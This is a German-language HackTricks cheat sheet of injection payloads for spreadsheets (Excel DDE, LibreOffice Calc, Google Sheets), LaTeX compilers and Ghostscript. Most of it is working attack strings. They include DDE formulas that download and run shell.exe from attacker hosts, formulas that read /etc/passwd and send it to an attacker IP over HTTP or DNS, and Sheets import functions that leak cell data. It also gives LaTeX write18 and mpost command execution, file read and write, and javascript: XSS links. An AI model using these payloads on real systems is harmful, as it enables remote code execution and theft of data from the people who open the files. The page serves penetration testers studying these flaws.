Formula/CSV/Doc/LaTeX/GhostScript Injection

Support HackTricks

Formula Injection

Info

Wenn deine Eingabe in CSV-Dateien (oder in irgendeiner anderen Datei, die wahrscheinlich von Excel geöffnet wird) reflektiert wird, kannst du möglicherweise Excel Formeln einfügen, die ausgeführt werden, wenn der Benutzer die Datei öffnet oder wenn der Benutzer auf einen Link innerhalb des Excel-Blatts klickt.

Heutzutage warnt Excel (mehrmals) den Benutzer, wenn etwas von außerhalb von Excel geladen wird, um ihn vor böswilligen Aktionen zu schützen. Daher muss ein besonderer Aufwand für Social Engineering auf die endgültige Payload angewendet werden.

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Das folgende Beispiel ist sehr nützlich, um Inhalte aus dem endgültigen Excel-Dokument zu exfiltrieren und um Anfragen an beliebige Orte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnmeldungen akzeptiert).

Das folgende Beispiel wurde von https://payatu.com/csv-injection-basic-to-exploit entnommen.

Stellen Sie sich vor, ein Sicherheitsvorfall in einem System zur Verwaltung von Schülerdaten wird durch einen CSV-Injection-Angriff ausgenutzt. Die Hauptabsicht des Angreifers ist es, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode besteht darin, dass der Angreifer eine bösartige Nutzlast in die Anwendung injiziert, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff verläuft wie folgt:

  1. Injektion der bösartigen Nutzlast:

  • Der Angreifer reicht ein Formular für Schülerdetails ein, enthält jedoch eine Formel, die häufig in Tabellenkalkulationen verwendet wird (z. B. =HYPERLINK("<malicious_link>","Klicken Sie hier")).

  • Diese Formel soll einen Hyperlink erstellen, verweist jedoch auf einen bösartigen Server, der vom Angreifer kontrolliert wird.

  1. Exportieren der kompromittierten Daten:

  • Lehrer, die sich der Kompromittierung nicht bewusst sind, nutzen die Funktionalität der Anwendung, um die Daten in eine CSV-Datei zu exportieren.

  • Die CSV-Datei enthält beim Öffnen weiterhin die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle.

  1. Auslösen des Angriffs:

  • Ein Lehrer klickt auf den Hyperlink und glaubt, dass er ein legitimer Teil der Schülerdetails ist.

  • Beim Klicken werden sensible Daten (möglicherweise einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen.

  1. Protokollierung der Daten:

  • Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden.

  • Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden und die Privatsphäre und Sicherheit der Schüler und der Institution weiter gefährden.

RCE

Überprüfen Sie den originalen Beitrag für weitere Details.

In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamic Data Exchange (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert werden:

  • Navigieren Sie zu Datei → Optionen → Trust Center → Trust Center-Einstellungen → Externer Inhalt und aktivieren Sie Dynamic Data Exchange Server Launch.

Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast:

=cmd|' /C calc'!xxx

Zusätzliche Befehle können ebenfalls ausgeführt werden, wie das Herunterladen und Ausführen einer Datei mit PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu exfiltrieren. Hier sind einige Methoden:

  • Lesen der ersten Zeile aus der lokalen /etc/passwd-Datei: ='file:///etc/passwd'#$passwd.A1

  • Exfiltrieren der gelesenen Daten zu einem vom Angreifer kontrollierten Server: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • Exfiltrieren von mehr als einer Zeile: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS-Exfiltration (Versenden gelesener Daten als DNS-Abfragen an einen vom Angreifer kontrollierten DNS-Server): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets für Out-of-Band (OOB) Datenexfiltration

Google Sheets bietet Funktionen, die für OOB-Datenexfiltration ausgenutzt werden können:

  • CONCATENATE: Verbindet Zeichenfolgen - =CONCATENATE(A2:E2)

  • IMPORTXML: Importiert Daten aus strukturierten Datentypen - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: Importiert RSS- oder ATOM-Feeds - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: Importiert Daten aus HTML-Tabellen oder -Listen - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: Importiert einen Zellbereich aus einer anderen Tabelle - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: Fügt ein Bild in eine Zelle ein - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX-Injection

Normalerweise verwenden die Server, die im Internet LaTeX-Code in PDF umwandeln, pdflatex. Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen (nicht) zuzulassen:

  • --no-shell-escape: Deaktiviert die \write18{command}-Konstruktion, selbst wenn sie in der texmf.cnf-Datei aktiviert ist.

  • --shell-restricted: Dasselbe wie --shell-escape, aber beschränkt auf eine 'sichere' Menge von vordefinierten **Befehlen (**Unter Ubuntu 16.04 befindet sich die Liste in /usr/share/texmf/web2c/texmf.cnf).

  • --shell-escape: Aktiviert die \write18{command}-Konstruktion. Der Befehl kann jeder Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen nicht erlaubt.

Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, --shell-restricted zu verwenden, um RCE zu vermeiden.

Datei lesen

Möglicherweise müssen Sie die Injection mit Wrappers wie [ oder $ anpassen.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Eine einzeilige Datei lesen

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Mehrzeilige Datei lesen

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Datei schreiben

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Befehlsausführung

Die Eingabe des Befehls wird an stdin umgeleitet, verwenden Sie eine temporäre Datei, um sie zu erhalten.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Wenn Sie einen LaTex-Fehler erhalten, ziehen Sie in Betracht, base64 zu verwenden, um das Ergebnis ohne fehlerhafte Zeichen zu erhalten.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Von @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Überprüfen https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Referenzen

Unterstützen Sie HackTricks

Last updated